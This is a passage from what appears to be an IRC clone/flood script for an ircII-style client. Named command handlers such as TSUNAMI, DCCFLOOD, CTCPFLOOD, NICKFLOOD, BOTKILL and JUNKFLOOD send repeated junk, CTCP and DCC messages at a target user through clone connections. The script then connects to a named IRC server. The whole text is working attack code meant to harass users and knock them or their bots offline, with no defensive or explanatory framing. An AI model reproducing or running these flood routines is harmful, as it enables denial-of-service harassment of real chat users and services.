if ([$1]==[NICK]) {//^dcc raw $csocket[$0] $cserver[$0] NICK $2}
if ([$1]==[INVITE]) {//^dcc raw $csocket[$0] $cserver[$0] INVITE $2 $3}
if ([$1]==[NICKPREFIX]) {//^dcc raw $csocket[$0] $cserver[$0] NICK $2$0}
if ([$1]==[TSUNAMI]) {/repeatcmd 4 //^dcc raw $csocket[$0] $cserver[$0]
NOTICE $2 :$TSU}
if ([$1]==[DCCTSUNAMI]) {
//^dcc raw $csocket[$0] $cserver[$0] PRIVMSG $2 : DCC SEND $TSU$rand(9)
$rand(9) $rand(9)
//^dcc raw $csocket[$0] $cserver[$0] PRIVMSG $2 : DCC SEND $TSU$rand(9)
$rand(9) $rand(9)
//^dcc raw $csocket[$0] $cserver[$0] PRIVMSG $2 : DCC SEND $TSU$rand(9)
$rand(9) $rand(9)
//^dcc raw $csocket[$0] $cserver[$0] PRIVMSG $2 : DCC SEND $TSU$rand(9)
$rand(9) $rand(9)
}
if ([$1]==[PONGFLOOD]) {/repeatcmd 4 EVAL //^dcc raw $csocket[$0]
$cserver[$0] PONG $TSU :$2}
if ([$1]==[DCCFLOOD]) {
//^dcc raw PRIVMSG $2 : DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9) DCC
CHAT $rand(9999) $rand(9) $rand(9) $rand(9) DCC CHAT $rand(9999) $rand(9)
$rand(9) $rand(9)
//^dcc raw PRIVMSG $2 : DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9) DCC
CHAT $rand(9999) $rand(9) $rand(9) $rand(9) DCC CHAT $rand(9999) $rand(9)
$rand(9) $rand(9)
//^dcc raw PRIVMSG $2 : DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9) DCC
CHAT $rand(9999) $rand(9) $rand(9) $rand(9) DCC CHAT $rand(9999) $rand(9)
$rand(9) $rand(9)
//^dcc raw PRIVMSG $2 : DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9) DCC
CHAT $rand(9999) $rand(9) $rand(9) $rand(9) DCC CHAT $rand(9999) $rand(9)
$rand(9) $rand(9)
}
if ([$1]==[CTCPFLOOD]) {/repeatcmd 15 //^dcc raw $csocket[$0] $cserver[$0]
PRIVMSG $2 : CLIENTINFO CLIENTINFO }
if ([$1]==[PINGFLOOD]) {/repeatcmd 5 //^dcc raw $csocket[$0] $c PRIVMSG $2
: PING PING PING PING PING PING PING PING PING PING PING PING PING PING PING PING PING }
if ([$1]==[VERSIONFLOOD]) {/repeatcmd 5 //^dcc raw $csocket[$0] $c PRIVMSG
$2
: VERSION VERSION VERSION VERSION VERSION VERSION VERSION VERSION VERSION VERSION VERSION }
if ([$1]==[NICKFLOOD]) {
EVAL ^assign TRASH1 $randcrap(2)
EVAL //^dcc raw $csocket[$0] $cserver[$0] NICK $TRASH1$rand(9999999)
EVAL //^dcc raw $csocket[$0] $cserver[$0] NICK $TRASH1$rand(9999999)
EVAL //^dcc raw $csocket[$0] $cserver[$0] NICK $TRASH1$rand(9999999)
EVAL //^dcc raw $csocket[$0] $cserver[$0] NICK $TRASH1$rand(9999999)
EVAL //^dcc raw $csocket[$0] $cserver[$0] NICK $TRASH1$rand(9999999)
EVAL //^dcc raw $csocket[$0] $cserver[$0] NICK $TRASH1$rand(9999999)
EVAL //^dcc raw $csocket[$0] $cserver[$0] NICK $TRASH1$rand(9999999)
EVAL //^dcc raw $csocket[$0] $cserver[$0] NICK $TRASH1$rand(9999999)
EVAL //^dcc raw $csocket[$0] $cserver[$0] NICK $TRASH1$rand(9999999)
EVAL //^dcc raw $csocket[$0] $cserver[$0] NICK $TRASH1$rand(9999999)
EVAL //^dcc raw $csocket[$0] $cserver[$0] NICK $TRASH1$rand(9999999)
EVAL //^dcc raw $csocket[$0] $cserver[$0] NICK $TRASH1$rand(9999999)
EVAL //^dcc raw $csocket[$0] $cserver[$0] NICK $TRASH1$rand(9999999)
EVAL //^dcc raw $csocket[$0] $cserver[$0] NICK $TRASH1$rand(9999999)
EVAL clonenick $0 $TRASH1$rand(9999999)
^assign -TRASH1
}
if ([$1]==[BOTKILL]) {/repeatcmd 20 //^dcc raw $csocket[$0] $cserver[$0]
PRIVMSG $2 :help}
if ([$1]==[FINGERFLOOD]) {/repeatcmd 4 //^dcc raw PRIVMSG $2
: FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER }
if ([$1]==[RAWIRC]) {//^dcc raw $csocket[$0] $cserver[$0] $2-}
if ([$1]==[FLOOD]) {/repeatcmd 12 //^dcc raw $csocket[$0] $cserver[$0]
PRIVMSG $2 :$3-}
if ([$1]==[RANDNICK]) {/clonenick $0 $randcrap(9)}
if ([$1]==[SEDFLOOD]) {/repeatcmd 5 //^dcc raw PRIVMSG $2
: SED SED SED SED SED SED SED SED SED SED SED SED SED SED SED SED SED SED SED SED SED SED SED SED SED SED }
if ([$1]==[JUNKFLOOD]) {
EVAL ^timer $rand(25) //^dcc raw $csocket[$0] $cserver[$0] NOTICE $2
:$JUNKSTR
EVAL ^timer $rand(25) //^dcc raw $csocket[$0] $cserver[$0] NOTICE $2
:$JUNKSTR
EVAL ^timer $rand(25) //^dcc raw $csocket[$0] $cserver[$0] NOTICE $2
:$JUNKSTR
EVAL ^timer $rand(25) //^dcc raw $csocket[$0] $cserver[$0] NOTICE $2
:$JUNKSTR
EVAL ^timer $rand(25) //^dcc raw $csocket[$0] $cserver[$0] NOTICE $2
:$JUNKSTR
}
if ([$1]==[IDCCFLOOD]) {/repeatcmd 17 //^dcc raw $csocket[$0] $cserver[$0]
PRIVMSG $2 :iDCC HELP}
if ([$1]==[GDCCFLOOD]) {/repeatcmd 17 //^dcc raw $csocket[$0] $cserver[$0]
PRIVMSG $2 :GDCC SEND #1}
if ([$1]==[XDCCFLOOD]) {/repeatcmd 17 //^dcc raw $csocket[$0] $cserver[$0]
PRIVMSG $2 :XDCC HELP}
}
}{echo ***}
}
eval aecho $script_version now loaded.
connect
irc.mcs.net